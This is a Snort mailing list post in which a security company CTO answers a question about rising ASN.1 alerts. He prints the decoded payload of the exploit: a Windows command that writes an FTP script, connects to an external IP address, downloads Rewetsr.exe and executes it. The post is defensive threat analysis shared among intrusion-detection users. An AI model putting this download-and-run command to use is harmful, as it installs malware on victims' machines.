Snort mailing list archives
Re: Increase in ASN.1 alerts
From: Michael Scheidell <michael.scheidell () secnap com>
Date: Wed, 2 Feb 2011 20:52:55 -0500
On 2/2/11 12:53 PM, Joe Gedeon wrote:
Has anyone else noticed an increase in the number of alerts for SPECIFIC-THREATS ASN.1 constructed bit string? The payload seems different than the kill-bill script.
yep, over the weekend. one of our new guys decided to decode it, and got this:combined the payloads from the ASN.1 and the NOOPs, decoded it and found the following command buried in the overflow padding....
cmd /c echo open 210.134.62.199 21 > o&echo user 1 1 >> o &echo get Rewetsr.exe >> o &echo quit >> o &ftp -n -s:o &Rewetsr.exe
-- Michael Scheidell, CTO o: 561-999-5000 d: 561-948-2259 ISN: 1259*1300 >*| *SECNAP Network Security Corporation * Certified SNORT Integrator * 2008-9 Hot Company Award Winner, World Executive Alliance * Five-Star Partner Program 2009, VARBusiness * Best in Email Security,2010: Network Products Guide * King of Spam Filters, SC Magazine 2008 ______________________________________________________________________This email has been scanned and certified safe by SpammerTrap(r). For Information please see http://www.secnap.com/products/spammertrap/
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Current thread:
- Increase in ASN.1 alerts Joe Gedeon (Feb 02)
- Re: Increase in ASN.1 alerts Michael Scheidell (Feb 02)
- Reliability of signatures Fraser, Hugh (Feb 04)
- Re: Reliability of signatures Martin Holste (Feb 04)
- Re: Reliability of signatures Matt Olney (Feb 04)
- Re: Reliability of signatures Jim Hranicky (Feb 04)
- Re: Reliability of signatures Matt Olney (Feb 04)
- Re: Reliability of signatures Martin Holste (Feb 04)
- Re: Reliability of signatures Jim Hranicky (Feb 04)
- Re: Reliability of signatures Martin Roesch (Feb 04)
- Re: Reliability of signatures Joel Esler (Feb 04)
- Re: Reliability of signatures Martin Holste (Feb 04)
- Re: Reliability of signatures Martin Holste (Feb 04)